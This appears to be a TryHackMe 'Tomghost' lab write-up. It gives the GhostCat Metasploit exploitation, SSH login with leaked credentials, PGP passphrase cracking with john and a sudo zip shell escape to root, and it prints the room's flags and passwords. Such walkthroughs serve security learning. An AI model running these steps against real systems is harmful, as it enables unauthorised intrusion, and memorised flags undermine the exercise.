TryHackMe — Tomghost Exploitation

2 min readFeb 5, 2025

Nmap Scan

I started by scanning the target machine using Nmap to identify open ports and services.

nmap -sC -sV -A 10.10.99.183

Nmap Results

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
53/tcp   open  tcpwrapped
8009/tcp open  ajp13      Apache Jserv (Protocol v1.3)
8080/tcp open  http       Apache Tomcat 9.0.30

Potential Vulnerabilities

22/SSH — OpenSSH 7.2p2 is potentially vulnerable to username enumeration.
8080/HTTP — Apache Tomcat 9.0.30 is vulnerable to GhostCat (CVE-2020–1938).

Exploiting GhostCat

Using Metasploit, I searched for the GhostCat vulnerability module:

msf6 > search ghostcat

I selected the module and set the target host:

msf6 > use auxiliary/admin/http/tomcat_ghostcat
msf6 auxiliary(admin/http/tomcat_ghostcat) > set rhosts 10.10.99.183
msf6 auxiliary(admin/http/tomcat_ghostcat) > exploit

This revealed sensitive file contents:

<description>
     Welcome to GhostCat
        skyfuck:8730281lkjlkjdqlksalks
</description>

SSH Access

I used the extracted credentials to log in via SSH:

ssh skyfuck@10.10.99.183
Password: 8730281lkjlkjdqlksalks

After gaining access, I checked the home directory and found some files:

skyfuck@ubuntu:~$ ls
credential.pgp  tryhackme.asc

Checking user privileges:

skyfuck@ubuntu:~$ sudo -l
Sorry, user skyfuck may not run sudo on ubuntu.

I explored another user’s home directory:

skyfuck@ubuntu:/home/merlin$ cat user.txt
THM{GhostCat_1s_so_cr4sy}

Decrypting credential.pgp

I imported the GPG key:

gpg --import tryhackme.asc

Then I attempted to decrypt the credential file:

gpg --decrypt credential.pgp

Since I didn’t have the passphrase, I transferred the file to my machine using a Python3 HTTP server, extracted the hash, and cracked it using john:

python3 -m http.server 8080  # On target machine
wget http://10.10.99.183:8080/tryhackme.asc  # On my machine
gpg2john tryhackme.asc > hashfile
john hashfile --wordlist=/usr/share/wordlists/rockyou.txt

This revealed the passphrase: alexandru. Using this, I decrypted the credential.pgp file and obtained the credentials for another user, merlin.

skyfuck@ubuntu:~$ su merlin
Password: 
merlin@ubuntu:/home/skyfuck$ cd ~
merlin@ubuntu:~$ ls
user.txt

Privilege Escalation to Root

Checking sudo -l, I found that merlin could run zip as root without a password:

merlin@ubuntu:~$ sudo -l
Matching Defaults entries for merlin on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User merlin may run the following commands on ubuntu:
    (root : root) NOPASSWD: /usr/bin/zip

Using GTFOBins, I found a privilege escalation method with zip:

merlin@ubuntu:~$ TF=$(mktemp -u)
merlin@ubuntu:~$ sudo zip $TF /etc/hosts -T -TT 'sh #'
  adding: etc/hosts (deflated 31%)
# cd /root
# ls
root.txt  ufw
# cat root.txt
THM{Z1P_1S_FAKE}

By exploiting the allowed zip command, I gained root access and retrieved the final flag. This completed the exploitation of the machine.